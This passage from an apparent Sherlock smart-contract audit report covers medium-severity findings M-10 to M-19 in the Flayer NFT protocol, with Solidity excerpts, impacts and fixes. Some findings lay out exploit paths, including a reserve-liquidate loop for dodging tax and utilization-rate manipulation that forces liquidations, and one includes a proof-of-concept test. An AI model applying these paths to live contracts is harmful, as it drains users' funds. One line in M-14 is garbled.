        // Deploy RANGE_CURVE
        RANGE_CURVE = address(new LinearRangeCurve());
```

```
        // Deploy TaxCalculator
        calculator = new TaxCalculator();


        // Deploy CollectionShutdown
        collectionShutdown = new CollectionShutdown(locker, PAIR_FACTORY,
↪  RANGE_CURVE);


        // Deploy PoolManager
        poolManager = new PoolManager(500000);


        // Deploy WETH
        WETH = new WETH9();


        // Deploy ERC721 Contract
        erc721a = new ERC721Mock();


        //// Deploy ERC721 Malicious Contract
        //erc721MyA = new ERC721MyMock(address(locker));


        // Uniswap Implementation
        deployCodeTo('UniswapImplementation.sol', abi.encode(address(poolManager),
↪  address(locker), address(WETH)), VALID_LOCKER_ADDRESS);
        uniswapImplementation = UniswapImplementation(VALID_LOCKER_ADDRESS);
        uniswapImplementation.initialize(locker.owner());


        // First settings for the contracts
        listings.setProtectedListings(address(protListings));

        locker.setListingsContract(payable(address(listings)));
        locker.setTaxCalculator(address(calculator));
        locker.setCollectionShutdownContract(payable(address(collectionShutdown)));
        locker.setImplementation(address(uniswapImplementation));

        lockerManager.setManager(address(listings), true);
        lockerManager.setManager(address(protListings), true);
        lockerManager.setManager(address(collectionShutdown), true);


        // Mint some tokens ERC721 for user1 and hacker
        for(uint i = 0; i < 11; i++){
            erc721a.mint(hacker, i);
        }
```

```
        for(uint i = 11; i < 21; i++){
            erc721a.mint(user2, i);
        }


        // erc721a id 10 For the hacker
        erc721a.mint(user1, 21);


        vm.stopPrank();
    }
}
```

Mitigation

Perform a check to prevent a collection that is up for deletion from being listed

Issue M-10: If a collection has been shutdown but later re-initialized, it cannot be shutdown again

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/318

Found by

0x37, 0xAlix2, Audinarey, BugPull, Hearmen, OpaBatyo, dany.armstrong90, merlinboii, novaman33, robertodf

Summary

If a collection has been shutdown, it can later be re-initialized for use in the protocol again. But any attempts to shut it down again will fail due to a varaible not being reset when the first shutdown is made.

Vulnerability Detail

When a collection's shutdown has collected `>=quorum` votes, the admin can initiate the execution of shutdown which essentially sunsets the collection from the locker and lists all the NFTs in a sudoswap pool so owners of the collection token can later claim their share of the sale proceeds.

When the call to in `Locker.sol` is made, it deletes both the `_collectionToken` and `collectionInitialized` mappings' entries so that the collection can later be re-registered and initialized if there is interest:

```
// Delete our underlying token, then no deposits or actions can be made
delete _collectionToken[_collection];

// Remove our `collectionInitialized` flag
delete collectionInitialized[_collection];
```

The issue is that nowhere during the shutdown process is the `params.shutdownVotes` variable reset back to 0. The only way for it to decrease is if a user reclaims their vote, but then the shutdown won't finalize at all. In normal circumstances, the variable is checked against to ensure it is 0 before starting a collection shutdown, in order to prevent starting 2 simulteaneous shutdowns of the same collection.

```
if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
```

Thus, since it is never reset back to 0 when the shutdown is executed, if the collection is later re-initialized into the protocol and an attempt to shutdown again is made, the call to `start()` will revert on this line.

Impact

A collection that has been shutdown and later re-initialized can never be shutdown again.

Code Snippet

```
if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
```

Tool used

Manual Review

Recommendation

Reset variable back to 0 when all users have claimed their tokens and the process of shutting down a collection is completely finished.

Issue M-11: There is a logical error in the _distributeFees() function, resulting in an unfair distribution of fees.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/328

Found by

ZeroTrust

Summary

There is a logical error in the _distributeFees() function, resulting in an unfair distribution of fees.

Vulnerability Detail

```
        function _distributeFees(PoolKey memory _poolKey) internal {
        // If the pool is not initialized, we prevent this from raising an
 ↪  exception and bricking hooks
@>>         PoolId poolId = _poolKey.toId();
        PoolParams memory poolParams = _poolParams[poolId];

        if (!poolParams.initialized) {
            return;
        }

        // Get the amount of the native token available to donate
        uint donateAmount = _poolFees[poolId].amount0;

        // Ensure that the collection has sufficient fees available
        if (donateAmount < donateThresholdMin) {
            return;
        }

        // Reduce our available fees
        _poolFees[poolId].amount0 = 0;

        // Split the donation amount between beneficiary and LP
@>>         (uint poolFee, uint beneficiaryFee) = feeSplit(donateAmount);

        // Make our donation to the pool, with the beneficiary amount remaining in
 ↪  the
```

```
        // contract ready to be claimed.
        if (poolFee > 0) {
            // Determine whether the currency is flipped to determine which is the
↪   donation side
            (uint amount0, uint amount1) = poolParams.currencyFlipped ? (uint(0),
↪   poolFee) : (poolFee, uint(0));
            BalanceDelta delta = poolManager.donate(_poolKey, amount0, amount1, '');

            // Check the native delta amounts that we need to transfer from the
↪   contract
            if (delta.amount0() < 0) {
                _pushTokens(_poolKey.currency0, uint128(-delta.amount0()));
            }

            if (delta.amount1() < 0) {
                _pushTokens(_poolKey.currency1, uint128(-delta.amount1()));
            }

            emit PoolFeesDistributed(poolParams.collection, poolFee, 0);
        }

        // Check if we have beneficiary fees to distribute
        if (beneficiaryFee != 0) {
            // If our beneficiary is a Flayer pool, then we make a direct call
@>>             if (beneficiaryIsPool) {
                // As we don't want to make a transfer call, we just extrapolate
                // the required logic from the `depositFees` function.
@>>                 _poolFees[_poolKeys[beneficiary].toId()].amount0 +=
↪   beneficiaryFee;
                emit PoolFeesReceived(beneficiary, beneficiaryFee, 0);
            }
            // Otherwise, we can just update the escrow allocation
            else {
                beneficiaryFees[beneficiary] += beneficiaryFee;
                emit BeneficiaryFeesReceived(beneficiary, beneficiaryFee);
            }
        }
    }
```

If beneficiaryIsPool = true, then BaseImplementation::beneficiary is the Flayer protocol's NFT Collection. We can also confirm this from the setBeneficiary() function.

```
    function setBeneficiary(address _beneficiary, bool _isPool) public onlyOwner {
        beneficiary = _beneficiary;
        beneficiaryIsPool = _isPool;

        // If we are setting the beneficiary to be a Flayer pool, then we want to
        // run some additional logic to confirm that this is a valid pool by
↪   checking
```

```
        // if we can match it to a corresponding {CollectionToken}.
@>>         if (_isPool && address(locker.collectionToken(_beneficiary)) ==
↪  address(0)) {
            revert BeneficiaryIsNotPool();
        }

        emit BeneficiaryUpdated(_beneficiary, _isPool);
    }
```

The function checks that the NFT collection must have the corresponding collectionToken.

```
 function feeSplit(uint _amount) public view returns (uint poolFee_, uint
↪  beneficiaryFee_) {
    // If our beneficiary royalty is zero, then we can exit early and avoid reverts
    if (beneficiary == address(0) || beneficiaryRoyalty == 0) {
        return (_amount, 0);
    }

    // Calculate the split of fees, prioritising benefit to the pool
    beneficiaryFee_ = _amount * beneficiaryRoyalty / ONE_HUNDRED_PERCENT;
    poolFee_ = _amount - beneficiaryFee_;
}
```

In the feeSplit() function, the fees are divided into two parts: poolFee (95%) and beneficiaryFee (5%). The poolFee goes to the LP Holders of the collectionToken for some NFT, while the beneficiaryFee goes to the LP Holders of the collectionToken for the Flayer protocol's NFT.

The root cause of the issue is that when _distributeFees() is called for the collectionToken of the Flayer protocol's NFT Collection (which we will refer to as the collectionToken of Flayer), _poolKeys[beneficiary].toId() and PoolId poolId = _poolKey.toId(); result in the same poolId. This leaves 5% of the fees undistributed, which is clearly wrong. It should distribute 100% of the fees to the current LP Holders.

According to the current logic in the code, when _distributeFees() is called for the collectionToken of the Flayer protocol's NFT, it always leaves 5% of the fees unallocated. If a user provides liquidity to the pool, 95% of the fees will be distributed to the original LP Holders. However, the new LP Holder, upon joining, will immediately gain a share of the remaining 5% of the fees. That's wrong.

Impact

The newly joined LP Holders receive an unfair portion of the fees, leading to a loss for the original LP Holders.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L308

Tool used

Manual Review

Recommendation

```
     // Split the donation amount between beneficiary and LP
     (uint poolFee, uint beneficiaryFee) = feeSplit(donateAmount);

+    if(poolId==_poolKeys[beneficiary].toId()){
+        poolFee = donateAmount;
+        beneficiaryFee = 0;
+    }
```

Issue M-12: A user loses funds when he modifies only price of listings.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/340

Found by

0xHappy, Ironsidesec, Ruhum, ZeroTrust, blockchain555, dany.armstrong90, dimulski, super_jack, t.aksoy, ydlee, zarkk01

Summary

When user modifies only price of listings, the protocol applies more taxes than normal.

Vulnerability Detail

`Listings.sol#modifiyListings()` function is as follows.

```
    function modifyListings(address _collection, ModifyListing[] calldata
↪   _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused
↪   returns (uint taxRequired_, uint refund_) {
        uint fees;

        for (uint i; i < _modifyListings.length; ++i) {
            // Store the listing
            ModifyListing memory params = _modifyListings[i];
            Listing storage listing = _listings[_collection][params.tokenId];

            // We can only modify liquid listings
            if (getListingType(listing) != Enums.ListingType.LIQUID) revert
↪   InvalidListingType();

            // Ensure the caller is the owner of the listing
            if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);

            // Check if we have no changes, as we can continue our loop early
            if (params.duration == 0 && params.floorMultiple ==
↪   listing.floorMultiple) {
                continue;
            }

            // Collect tax on the existing listing
323         (uint _fees, uint _refund) = _resolveListingTax(listing, _collection,
↪   false);
            emit ListingFeeCaptured(_collection, params.tokenId, _fees);
```

```
            fees += _fees;
            refund_ += _refund;

            // Check if we are altering the duration of the listing
330         if (params.duration != 0) {
                // Ensure that the requested duration falls within our listing range
                if (params.duration < MIN_LIQUID_DURATION) revert
↪   ListingDurationBelowMin(params.duration, MIN_LIQUID_DURATION);
                if (params.duration > MAX_LIQUID_DURATION) revert
↪   ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);

                emit ListingExtended(_collection, params.tokenId, listing.duration,
↪   params.duration);

                listing.created = uint40(block.timestamp);
                listing.duration = params.duration;
            }

            // Check if the floor multiple price has been updated
342         if (params.floorMultiple != listing.floorMultiple) {
                // If we are creating a listing, and not performing an instant
↪   liquidation (which
                // would be done via `deposit`), then we need to ensure that the
↪   `floorMultiple` is
                // greater than 1.
                if (params.floorMultiple <= MIN_FLOOR_MULTIPLE) revert
↪   FloorMultipleMustBeAbove100(params.floorMultiple);
                if (params.floorMultiple > MAX_FLOOR_MULTIPLE) revert
↪   FloorMultipleExceedsMax(params.floorMultiple, MAX_FLOOR_MULTIPLE);

                emit ListingFloorMultipleUpdated(_collection, params.tokenId,
↪   listing.floorMultiple, params.floorMultiple);

                listing.floorMultiple = params.floorMultiple;
            }

            // Get the amount of tax required for the newly extended listing
355         taxRequired_ += getListingTaxRequired(listing, _collection);
        }

        // cache
        ICollectionToken collectionToken = locker.collectionToken(_collection);

        // If our tax refund does not cover the full amount of tax required, then
↪   we will need to make an
        // additional tax payment.
        if (taxRequired_ > refund_) {
            unchecked {
```

```
                payTaxWithEscrow(address(collectionToken), taxRequired_ - refund_,
↪  _payTaxWithEscrow);
            }
            refund_ = 0;
        } else {
            unchecked {
                refund_ -= taxRequired_;
            }
        }

        // Check if we have fees to be paid from the listings
        if (fees != 0) {
            collectionToken.approve(address(locker.implementation()), fees);
            locker.implementation().depositFees(_collection, 0, fees);
        }

        // If there is tax to refund after paying the new tax, then allocate it to
↪  the user via escrow
        if (refund_ != 0) {
            _deposit(msg.sender, address(collectionToken), refund_);
        }
    }
```

It calculates refund amount on L323 through `_resolveListingTax()`.

```
    function _resolveListingTax(Listing memory _listing, address _collection, bool
↪  _action) private returns (uint fees_, uint refund_) {
        // If we have been passed a Floor item as the listing, then no tax should
↪  be handled
        if (_listing.owner == address(0)) {
            return (fees_, refund_);
        }

        // Get the amount of tax in total that will have been paid for this listing
        uint taxPaid = getListingTaxRequired(_listing, _collection);
        if (taxPaid == 0) {
            return (fees_, refund_);
        }

        // Get the amount of tax to be refunded. If the listing has already ended
        // then no refund will be offered.
        if (block.timestamp < _listing.created + _listing.duration) {
933         refund_ = (_listing.duration - (block.timestamp - _listing.created)) *
↪  taxPaid / _listing.duration;
        }

        ...
    }
```

As we can see on L933, refund amount is calculated according to remained time.
If a user modifies with `params.duration==0`, `listing.created` is not updated.
But on L355, the protocol applies full tax for whole duration.
This is wrong.

Impact

The protocol applies more tax than normal.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303-L384

Tool used

Manual Review

Recommendation

`Listings.sol#modifiyListings()` function has to be modified as follows.

```
    function modifyListings(address _collection, ModifyListing[] calldata
↪   _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused
↪   returns (uint taxRequired_, uint refund_) {
        uint fees;

        for (uint i; i < _modifyListings.length; ++i) {
            // Store the listing
            ModifyListing memory params = _modifyListings[i];
            Listing storage listing = _listings[_collection][params.tokenId];

            ...

            // Check if we are altering the duration of the listing
            if (params.duration != 0) {
                // Ensure that the requested duration falls within our listing range
                if (params.duration < MIN_LIQUID_DURATION) revert
↪   ListingDurationBelowMin(params.duration, MIN_LIQUID_DURATION);
                if (params.duration > MAX_LIQUID_DURATION) revert
↪   ListingDurationExceedsMax(params.duration, MAX_LIQUID_DURATION);

                emit ListingExtended(_collection, params.tokenId, listing.duration,
↪   params.duration);

-               listing.created = uint40(block.timestamp);
```

```
                listing.duration = params.duration;
            }
+           listing.created = uint40(block.timestamp);

            // Check if the floor multiple price has been updated
            if (params.floorMultiple != listing.floorMultiple) {
                // If we are creating a listing, and not performing an instant
↪   liquidation (which
                // would be done via `deposit`), then we need to ensure that the
↪   `floorMultiple` is
                // greater than 1.
                if (params.floorMultiple <= MIN_FLOOR_MULTIPLE) revert
↪   FloorMultipleMustBeAbove100(params.floorMultiple);
                if (params.floorMultiple > MAX_FLOOR_MULTIPLE) revert
↪   FloorMultipleExceedsMax(params.floorMultiple, MAX_FLOOR_MULTIPLE);

                emit ListingFloorMultipleUpdated(_collection, params.tokenId,
↪   listing.floorMultiple, params.floorMultiple);

                listing.floorMultiple = params.floorMultiple;
            }

            // Get the amount of tax required for the newly extended listing
            taxRequired_ += getListingTaxRequired(listing, _collection);
        }

        ...
    }
```

Issue M-13: Price limit is used as the price range in internal swaps, causing swap TXs to revert

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/402

Found by

0xAlix2

Summary

When initializing a swap on Uniswap V4, the user inputs a price limit that represents the sqrt price at which, if reached, the swap will stop executing, from Uni V4 code.

```
struct SwapParams {
    /// Whether to swap token0 for token1 or vice versa
    bool zeroForOne;
    /// The desired input amount if negative (exactIn), or the desired output
 ↪  amount if positive (exactOut)
    int256 amountSpecified;
    /// The sqrt price at which, if reached, the swap will stop executing
    uint160 sqrtPriceLimitX96;
}
```

When a swap happens in a Uniswap pool, in the swap calculation happens by calling `SwapMath.computeSwapStep`, where the input price limit is translated to a price target using `SwapMath.getSqrtPriceTarget`. Knowing that the price target represents the "The price target for the next swap step"
https://github.com/Uniswap/v4-core/blob/main/src/libraries/SwapMath.sol#L19

On the other hand, when the internal swap is done in the Uniswap implementation, `SwapMath.computeSwapStep` is called while passing the price limit as the price target.

```
(, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
    sqrtPriceCurrentX96: sqrtPriceX96,
    sqrtPriceTargetX96: params.sqrtPriceLimitX96,
    liquidity: poolManager.getLiquidity(poolId),
    amountRemaining: int(amountSpecified),
    feePips: 0
});
```

This affects the in/out token calculation, as it will calculate those values based on a wrong target, forcing swap TXs to unexpectedly revert.

Root Cause

When calculating internal swaps, the input price limit is used as the price range for the swap calculation, here and here.

Impact

Swap transactions will revert in most cases; DOSing swaps.

PoC

Add the following test in `flayer/test/UniswapImplementation.t.sol`:

```
function test_WrongPriceTargetUsed() public withLiquidity withTokens {
    bool flipped = false;
    PoolKey memory poolKey = _poolKey(flipped);
    CollectionToken token = flipped ? flippedToken : unflippedToken;
    ERC721Mock nft = flipped ? flippedErc : unflippedErc;

    uint256 fees = 10 ether;
    deal(address(token), address(this), fees);
    token.approve(address(uniswapImplementation), type(uint).max);
    uniswapImplementation.depositFees(address(nft), 0, fees);

    // token0 = WETH, token1 = token
    assertEq(address(Currency.unwrap(poolKey.currency0)), address(WETH));
    assertEq(address(Currency.unwrap(poolKey.currency1)), address(token));

    // amount of token out to receive
    uint amountSpecified = 15 ether;

    // Uniswap implementation + pool manager have enough tokens to fulfill the swap
    assertGt(
        token.balanceOf(address(uniswapImplementation)) +
            token.balanceOf(address(uniswapImplementation.poolManager())),
        amountSpecified
    );
    // This contract has more than enough WETH to fulfill the swap
    assertEq(WETH.balanceOf(address(this)), 1000 ether);

    // Swap WETH -> TOKEN
    vm.expectRevert();
    poolSwap.swap(
        poolKey,
        IPoolManager.SwapParams({
            zeroForOne: true,
            amountSpecified: int(amountSpecified),
            sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
```

```
        }),
        PoolSwapTest.TestSettings({
            takeClaims: false,
            settleUsingBurn: false
        }),
        ""
    );
}
```

Mitigation

In `UniswapImplementation::beforeSwap`, whenever the internal swap is being computed, i.e. by calling `SwapMath.computeSwapStep`, translate the passed price limit to price range, using `SwapMath.getSqrtPriceTarget`, by doing something similar to:

```
(, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
    sqrtPriceCurrentX96: sqrtPriceX96,
    sqrtPriceTargetX96: SwapMath.getSqrtPriceTarget(zeroForOne,
↪   step.sqrtPriceNextX96, params.sqrtPriceLimitX96),
    liquidity: poolManager.getLiquidity(poolId),
    amountRemaining: int(amountSpecified),
    feePips: 0
});
```

Issue M-14: In the unlockProtectedListing() function, the interest that was supposed to be distributed to LP holders was instead burned.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/431

Found by

0x73696d616f, Audinarey, Ironsidesec, Ollam, ZeroTrust

Summary

In the unlockProtectedListing() function, the interest that was supposed to be distributed to LP holders was instead burned.

Vulnerability Detail

```
function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw)
 ↪  public lockerNotPaused {
        // Ensure this is a protected listing
        ProtectedListing memory listing = _protectedListings[_collection][_tokenId];

        // Ensure the caller owns the listing
        if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);

        // Ensure that the protected listing has run out of collateral
        int collateral = getProtectedListingHealth(_collection, _tokenId);
        if (collateral < 0) revert InsufficientCollateral();

        // cache
        ICollectionToken collectionToken = locker.collectionToken(_collection);
        uint denomination = collectionToken.denomination();
        uint96 tokenTaken = _protectedListings[_collection][_tokenId].tokenTaken;

        // Repay the loaned amount, plus a fee from lock duration
@>>     uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
@>>     collectionToken.burnFrom(msg.sender, fee);

        // We need to burn the amount that was paid into the Listings contract
@>>     collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
```

```
        // Remove our listing type
        unchecked { --listingCount[_collection]; }

        // Delete the listing objects
        delete _protectedListings[_collection][_tokenId];

        // Transfer the listing ERC721 back to the user
        if (_withdraw) {
            locker.withdrawToken(_collection, _tokenId, msg.sender);
            emit ListingAssetWithdraw(_collection, _tokenId);
        } else {
            canWithdrawAsset[_collection][_tokenId] = msg.sender;
        }

        // Update our checkpoint to reflect that listings have been removed
        _createCheckpoint(_collection);

        // Emit an event
        emit ListingUnlocked(_collection, _tokenId, fee);
    }
```

□unlockProtectedListing()□□□unlockPrice()□□□□□feeb□□□□□□□□□□

```
 function unlockPrice(address _collection, uint _tokenId) public view returns (uint
↪  unlockPrice_) {
        // Get the information relating to the protected listing
        ProtectedListing memory listing = _protectedListings[_collection][_tokenId];

        // Calculate the final amount using the compounded factors and principle
↪  amount
@>>         unlockPrice_ = locker.taxCalculator().compound({
             _principle: listing.tokenTaken,
             _initialCheckpoint:
↪  collectionCheckpoints[_collection][listing.checkpoint],
             _currentCheckpoint: _currentCheckpoint(_collection)
        });
    }
```

Therefore, after burning the fee, the interest paid by the user was also burned. This portion of the interest should have been distributed to the LP holders. Evidence for this can be found in the liquidateProtectedListing() function, where the interest generated by the ProtectedListing NFT is distributed to the LP holders.

```
  function liquidateProtectedListing(address _collection, uint _tokenId) public
↪  lockerNotPaused listingExists(_collection, _tokenId) {
        //-------skip-----------

        // Send the remaining tokens to {Locker} implementation as fees
```

```
        uint remainingCollateral = (1 ether - listing.tokenTaken - KEEPER_REWARD) *
↪  10 ** denomination;
        if (remainingCollateral > 0) {
            IBaseImplementation implementation = locker.implementation();
            collectionToken.approve(address(implementation), remainingCollateral);
@>>             implementation.depositFees(_collection, 0, remainingCollateral);
        }
 //-------skip-----------
    }
```

After the interest is burned, it causes deflation in the total amount of collectionToken, which leads to serious problems:

```
1.  The total number of collectionTokens no longer matches the number of NFTs (it
↪  becomes less than the number of NFTs in the Locker contract), making it
↪  impossible to redeem some NFTs.
2.  The utilizationRate() calculation results in a utilization rate greater than
↪  100%, leading to an excessively high interestRate_, which in turn makes it
↪  impossible for users to create listings on ProtectedListings.
```

```
/**
 * Determines the usage rate of a listing type.
 *
 * @param _collection The collection to calculate the utilization rate of
 *
 * @return listingsOfType_ The number of listings that match the type passed
 * @return utilizationRate_ The utilization rate percentage of the listing type
↪  (80% = 0.8 ether)
 */
function utilizationRate(address _collection) public view virtual returns (uint
↪  listingsOfType_, uint utilizationRate_) {
    // Get the count of active listings of the specified listing type
    listingsOfType_ = listingCount[_collection];

    // If we have listings of this type then we need to calculate the percentage,
↪  otherwise
    // we will just return a zero percent value.
    if (listingsOfType_ != 0) {
        ICollectionToken collectionToken = locker.collectionToken(_collection);

        // If we have no totalSupply, then we have a zero percent utilization
        uint totalSupply = collectionToken.totalSupply();
        if (totalSupply != 0) {
            utilizationRate_ = (listingsOfType_ * 1e36 * 10 **
↪  collectionToken.denomination()) / totalSupply;
        }
    }
}
```

Impact

LP holders suffer losses, and users may be unable to use ProtectedListings normally.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L429

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261

Tool used

Manual Review

Recommendation

Distribute the interest to the LP holders.

Issue M-15: Users can dodge `createListing` fees

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/440

Found by

Ollam, OpaBatyo, ZeroTrust, valuevalk, zzykxx

Summary

Users can abuse a loophole to create a listing for 5% less tax than intended, hijack others' tokens at floor value and perpetually relist for free.

Vulnerability Detail

For the sake of simplicity, we assume that collection token denomination = 4 and floor price = 1e22

Users who intend to create a `dutch` listing for any duration <= 4 days can do the following:

1) Create a normal listing at min floor multiple = 101 and MIN_DUTCH_DURATION = 1 days, tax = 0.1457% (`tokensReceived` = 0.99855e22)
2) Reserve their own listing from a different account for tokenTaken 0.95e18, collateral 0.05e18, collateral is burnt, protected listing is at 0 health and will be liquidatable in a few moments (`remainingTokens` = 0.94855e22)
3) Liquidate their own listing through `liquidateProtectedListing`, receive KEEPER_REWARD = 0.05e22 (`remainingTokens` = 0.99855e22)
4) `createLiquidationListing` is invoked with us as owner and hardcoded values `floorMultiple` = 400 and `duration` = 4 days

User has paid 0.14% in tax for a listing that would've normally cost them 5.14% in tax. This process can be repeated any number of times even after the `liquidationListing` expires to constantly reserve-liquidate it instead of calling `relist` and paying further tax.

There are numerous other ways in which this loophole of reserve-liquidate can be abused:

1) Users can create listings for free out of any expired listing at floor value, they only burn 0.05e18 collateral which is then received back as `KEEPER_REWARD`
2) Users can constantly cycle NFTs at floor value (since it is free) and make `liquidationListings`, either making profit if the token sells or making the token unpurchasable at floor since it is in the loop

3) Any user-owned expired listing can be relisted for free through this method instead of paying tax by invoking `relist`

Impact

Tax evasion

Code Snippet

```
_listings.createLiquidationListing(
    IListings.CreateListing({
        collection: _collection,
        tokenIds: tokenIds,
        listing: IListings.Listing({
            owner: listing.owner,
            created: uint40(block.timestamp),
            duration: 4 days,
            floorMultiple: 400
        })
    })
);
```

Tool used

Manual Review

Recommendation

Impose higher minimum collateral and lower tokenTaken (e.g 0.2e18 and 0.8e18) so the `KEEPER_REWARD` would not cover the cost of burning collateral during reservation, making this exploit unprofitable.

Issue M-16: manipulation of the Utilization Rates using the locker.sol function deposit and redeem to Force Liquidations

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/476

Found by

BugPull, ComposableSecurity, OpaBatyo, jo13

Summary

A user with a significant number of *NFTs* can manipulate the `totalsupply` of *ERC20* tokens to indirectly push protected listings towards liquidation by influencing the `utilizationrate` and associated .

Vulnerability Detail

The vulnerability arises from the ability of a user to `deposit` and `redeem` any quantities of NFTs,without fees As shown in the `locker.sol` contract : -the `deposit` function increase the *totalsupply* by `mint` function.

```
function deposit(address _collection, uint[] calldata _tokenIds, address
↪  _recipient) public
    {
     //.....
        ICollectionToken token = _collectionToken[_collection];
        token.mint(_recipient, tokenIdsLength * 1 ether * 10 **
↪  token.denomination());
    //.....
     }
```

-and decrease the *totalsupply* using the `redeem` function.

```
function redeem(address _collection, uint[] calldata _tokenIds, address _recipient)
↪   public
  {
    //...
collectionToken_.burnFrom(msg.sender, tokenIdsLength * 1 ether * 10 **
↪  collectionToken_.denomination());
   //..
```

```
}
```

so a user with a lot of nft could thereby alter the total supply of ERC20 tokens ,This manipulation affects the utilization rate, https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261-L276 which in turn influences interest rates that used directly to calculate `calculateCompoundedFactor`

```
function calculateCompoundedFactor(uint _previousCompoundedFactor, uint
↪  _utilizationRate, uint _timePeriod) public view returns (uint
↪  compoundedFactor_) {
       uint interestRate = this.calculateProtectedInterest(_utilizationRate);
       uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
       compoundedFactor_ = _previousCompoundedFactor *
       (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
   }
```

we use this to Calculate the amount of tax that would need to be paid against protected listings. in the function `unlockPrice` https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607-L617 this function is used to check the the protected listing health in `getProtectedListingHealth` that used in `liquidateProtectedListing` An exploitation of the direct relation between the totalsupply and the liquidation is possible by a malicious user who owns half of the **NFTs**. The user can performs an action that causes the liquidation of the positions of the other participants and receives the `KEEPER_REWARD` for being a keeper for initiating the liquidation process. In addition, the user can buy up the one that had its **NFT** liquidated at an auction at a discount price which increases their gain.

Impact

The impact of this vulnerability is that it allows a user to exploit the system to force protected listings into liquidation. This can lead to losses for other users whose listings are liquidated. It undermines the stability and fairness of the protocol by enabling manipulative tactics.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261-L276 https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607-L617

Tool used

Manual Review

Recommendation

use fees in deposit and redeem

Issue M-17: `CollectionShutdown::execute()` doesn't ensure that all locked NFTs are sold

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/502

Found by

IMAFVCKINSTARRRRRR, McToady, zzykxx

Summary

No response

Root Cause

CollectionShutdown::execute() doesn't ensure that all tokens of the collection being shutdown are added to the sudoswap pool in order to be sold.

This function takes as input an array of the token IDs to be sold via sudoswap pool. In case an NFT ID that's locked in the protocol is not in this array the NFT will stay locked and not sold.

Even if the function is only callable by admins the admins have no control on the order and the moment transactions are executed and such scenarios should be handled at the moment of execution.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1. The protocol currently holds NFTs `55` and `56`, admin calls CollectionShutdown::execute() by passing as a parameter `[55,56]`.
2. While the CollectionShutdown::execute() transaction is in the mempool a deposit of NFT `60` is done via Locker::deposit().

3. The CollectionShutdown::execute() transaction goes through and a sudoswap pool selling 55 and 56 is created
4. NFT 60 is locked in the protocol

Impact

NFTs that should be sold are locked in the procotol, which leads to an indirect loss of funds to collection tokens holders.

PoC

No response

Mitigation

In CollectionShutdown::execute() make sure all tokens currently locked in the protocol are added to the sudoswap pool.

Issue M-18: If the royalties receiver it's a smart contract it might be impossible to collect L2 royalties

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/509

Found by

zzykxx

Summary

No response

Root Cause

The function InfernalRiftAbove::claimRoyalties() can only be called by the receiver of the royalties:

```
(address receiver,) = IERC2981(_collectionAddress).royaltyInfo(0, 0);

// Check that the receiver of royalties is making this call
if (receiver != msg.sender) revert CallerIsNotRoyaltiesReceiver(msg.sender,
↪  receiver);
```

This is fine for EOAs but is problematic if `receiver` is a contract that doesn't have a way to call InfernalRiftAbove::claimRoyalties(), as this would result in the `receiver` not being able to claim the royalties collected by NFTs bridged to L2.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

If the royalties `receiver` is a smart contract that doesn't have a way to call InfernalRiftAbove::claimRoyalties() it's impossible to claim the royalties, which will be stuck.

PoC

No response

Mitigation

Allow royalties to be claimed to the `receiver` address by anybody when `receiver` is a smart contract.

Issue M-19: `UniswapImplementation::beforeSwap()` might revert when swapping native tokens to collection tokens

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/517

Found by

0xAlix2, 0xc0ffEE, ComposableSecurity, JokerStudio, alexzoid, g, h2134, zarkk01, zzykxx

Summary

UniswapImplementation::beforeSwap() performs a wrong check which can lead to swaps from native tokens to collection tokens reverting.

Root Cause

UniswapImplementation::beforeSwap() swaps the internally accumulated collection token fees into native tokens when:

1. The hook accumulated at least `1` wei of fees in collection tokens
2. An user is swapping native tokens for collection tokens

When the swap is performed by specifing the exact amount of native tokens to pay (ie. `amountSpecified<0`) the protocol should allow the internal swap only when the amount of native tokens being paid is enough to convert all of the accumulated collection token fees. The protocol however does this incorrectly, as the code checks the `amountSpecified` against `tokenOut` instead of `ethIn`:

```
if (params.amountSpecified >= 0) {
    ...
else {
    (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
        sqrtPriceCurrentX96: sqrtPriceX96,
        sqrtPriceTargetX96: params.sqrtPriceLimitX96,
